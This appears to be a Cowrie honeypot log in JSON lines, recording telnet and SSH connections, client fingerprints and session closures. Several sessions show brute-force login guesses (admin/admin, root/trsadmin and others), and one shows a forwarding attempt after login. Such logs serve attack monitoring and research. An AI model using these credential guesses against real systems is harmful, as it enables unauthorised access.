{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59646,"dst_ip":"10.17.0.5","dst_port":23,"session":"705a70bf2f45","protocol":"telnet","message":"New connection: 188.208.141.113:59646 (10.17.0.5:23) [session: 705a70bf2f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:27.112227Z"}
{"eventid":"cowrie.session.closed","duration":44.531604528427124,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:27.117673Z","src_ip":"206.189.32.23","session":"259770d0560c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59648,"dst_ip":"10.17.0.5","dst_port":23,"session":"89dc893bca1d","protocol":"telnet","message":"New connection: 188.208.141.113:59648 (10.17.0.5:23) [session: 89dc893bca1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:28.756935Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56642,"dst_ip":"10.17.0.5","dst_port":23,"session":"221e6161967c","protocol":"telnet","message":"New connection: 206.189.32.23:56642 (10.17.0.5:23) [session: 221e6161967c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:31.729680Z"}
{"eventid":"cowrie.session.closed","duration":2.902844190597534,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:34.632418Z","src_ip":"206.189.32.23","session":"221e6161967c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38520,"dst_ip":"10.17.0.5","dst_port":23,"session":"215eb8ad02d1","protocol":"telnet","message":"New connection: 206.189.32.23:38520 (10.17.0.5:23) [session: 215eb8ad02d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:35.935132Z"}
{"eventid":"cowrie.session.closed","duration":43.97891020774841,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:39.661278Z","src_ip":"206.189.32.23","session":"4eb841efd1a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.10716009140015,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:40.605415Z","src_ip":"206.189.32.23","session":"2b8e2f4c9dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46744,"dst_ip":"10.17.0.5","dst_port":23,"session":"658994a0d579","protocol":"telnet","message":"New connection: 206.189.32.23:46744 (10.17.0.5:23) [session: 658994a0d579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:44.153778Z"}
{"eventid":"cowrie.session.closed","duration":44.757256507873535,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:49.468278Z","src_ip":"206.189.32.23","session":"2a15106f32b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57514,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5fb6f4302cd","protocol":"ssh","message":"New connection: 87.251.64.176:57514 (10.17.0.5:22) [session: d5fb6f4302cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:54.608980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:54.613806Z","src_ip":"87.251.64.176","session":"d5fb6f4302cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:54.762794Z","src_ip":"87.251.64.176","session":"d5fb6f4302cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:55.549810Z","src_ip":"87.251.64.176","session":"d5fb6f4302cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:56.024100Z","session":"d5fb6f4302cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:56.131518Z","src_ip":"87.251.64.176","session":"d5fb6f4302cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ecdb3970edd","protocol":"telnet","message":"New connection: 188.208.141.113:48154 (10.17.0.5:23) [session: 8ecdb3970edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:56.182519Z"}
{"eventid":"cowrie.session.closed","duration":43.277252197265625,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:56.232707Z","src_ip":"206.189.32.23","session":"7214a9565e9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:28:56.282751Z","src_ip":"87.251.64.176","session":"d5fb6f4302cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.0788836479187,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:05.168721Z","src_ip":"206.189.32.23","session":"46cfa785d20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.53156900405884,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:08.795602Z","src_ip":"188.208.141.113","session":"e6ce8ed7ce6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.90922999382019,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:10.021345Z","src_ip":"188.208.141.113","session":"705a70bf2f45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.08989405632019,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:15.024945Z","src_ip":"206.189.32.23","session":"215eb8ad02d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.38965368270874,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:19.146463Z","src_ip":"188.208.141.113","session":"89dc893bca1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50952,"dst_ip":"10.17.0.5","dst_port":23,"session":"877d5c338afd","protocol":"telnet","message":"New connection: 206.189.32.23:50952 (10.17.0.5:23) [session: 877d5c338afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:19.505819Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52396,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf1ab61b2f61","protocol":"telnet","message":"New connection: 206.189.32.23:52396 (10.17.0.5:23) [session: bf1ab61b2f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:21.119956Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9707,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb06f87e0d6e","protocol":"ssh","message":"New connection: 2.57.121.25:9707 (10.17.0.5:22) [session: cb06f87e0d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:23.040876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:23.045576Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:23.149861Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"654321a","message":"login attempt [user/654321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:23.638994Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55868,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f9375e1ca8d","protocol":"telnet","message":"New connection: 206.189.32.23:55868 (10.17.0.5:23) [session: 4f9375e1ca8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:23.935507Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"515253","message":"login attempt [user/515253] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:24.746111Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"4848","message":"login attempt [user/4848] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:25.853917Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"4563","message":"login attempt [user/4563] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:26.960511Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"44magnum","message":"login attempt [user/44magnum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:28.067095Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:29.174232Z","src_ip":"2.57.121.25","session":"cb06f87e0d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49384,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6730b8b5d68","protocol":"telnet","message":"New connection: 162.55.233.176:49384 (159.203.135.109:23) [session: a6730b8b5d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:29.812345Z"}
{"eventid":"cowrie.session.closed","duration":46.73549771308899,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:30.889173Z","src_ip":"206.189.32.23","session":"658994a0d579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":4482,"dst_ip":"159.203.135.109","dst_port":22,"session":"142460ed4b07","protocol":"ssh","message":"New connection: 103.170.173.26:4482 (159.203.135.109:22) [session: 142460ed4b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:33.798189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:33.803300Z","src_ip":"103.170.173.26","session":"142460ed4b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:34.059975Z","src_ip":"103.170.173.26","session":"142460ed4b07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trsadmin","message":"login attempt [root/trsadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:35.115956Z","src_ip":"103.170.173.26","session":"142460ed4b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:36.375016Z","src_ip":"103.170.173.26","session":"142460ed4b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.938353538513184,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:37.120738Z","src_ip":"188.208.141.113","session":"8ecdb3970edd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0019040107727,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:37.802429Z","src_ip":"206.189.32.23","session":"76d0fff3347c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7adc20c739","protocol":"telnet","message":"New connection: 206.189.32.23:42620 (10.17.0.5:23) [session: 7c7adc20c739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:41.659603Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51518,"dst_ip":"10.17.0.5","dst_port":23,"session":"df65ba693c00","protocol":"telnet","message":"New connection: 188.208.141.113:51518 (10.17.0.5:23) [session: df65ba693c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:42.409294Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52706,"dst_ip":"10.17.0.5","dst_port":23,"session":"49c6be97220f","protocol":"telnet","message":"New connection: 206.189.32.23:52706 (10.17.0.5:23) [session: 49c6be97220f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:29:54.627405Z"}
{"eventid":"cowrie.session.closed","duration":42.33765149116516,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:03.457334Z","src_ip":"206.189.32.23","session":"bf1ab61b2f61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.82716679573059,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:04.332872Z","src_ip":"206.189.32.23","session":"877d5c338afd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12875199317932,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:04.940967Z","src_ip":"162.55.233.176","session":"a6730b8b5d68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.129273414611816,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:07.064690Z","src_ip":"206.189.32.23","session":"4f9375e1ca8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38440,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b79d04112e5","protocol":"telnet","message":"New connection: 206.189.32.23:38440 (10.17.0.5:23) [session: 9b79d04112e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:12.178554Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39292,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf17a9c26082","protocol":"telnet","message":"New connection: 206.189.32.23:39292 (10.17.0.5:23) [session: bf17a9c26082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:13.166991Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36660,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b2e02a2d309","protocol":"telnet","message":"New connection: 162.55.233.176:36660 (159.203.135.109:23) [session: 7b2e02a2d309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:15.387670Z"}
{"eventid":"cowrie.session.closed","duration":46.62945246696472,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:29.038671Z","src_ip":"188.208.141.113","session":"df65ba693c00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.72536087036133,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:29.384832Z","src_ip":"206.189.32.23","session":"7c7adc20c739","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41430,"dst_ip":"159.203.135.109","dst_port":23,"session":"c614e9dbcfd2","protocol":"telnet","message":"New connection: 162.55.233.176:41430 (159.203.135.109:23) [session: c614e9dbcfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:31.439706Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37694,"dst_ip":"10.17.0.5","dst_port":22,"session":"001040fb08bc","protocol":"ssh","message":"New connection: 2.57.122.238:37694 (10.17.0.5:22) [session: 001040fb08bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:37.173487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:37.178298Z","src_ip":"2.57.122.238","session":"001040fb08bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:37.277487Z","src_ip":"2.57.122.238","session":"001040fb08bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:37.575539Z","src_ip":"2.57.122.238","session":"001040fb08bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:38.740954Z","src_ip":"2.57.122.238","session":"001040fb08bc","protocol":"ssh"}
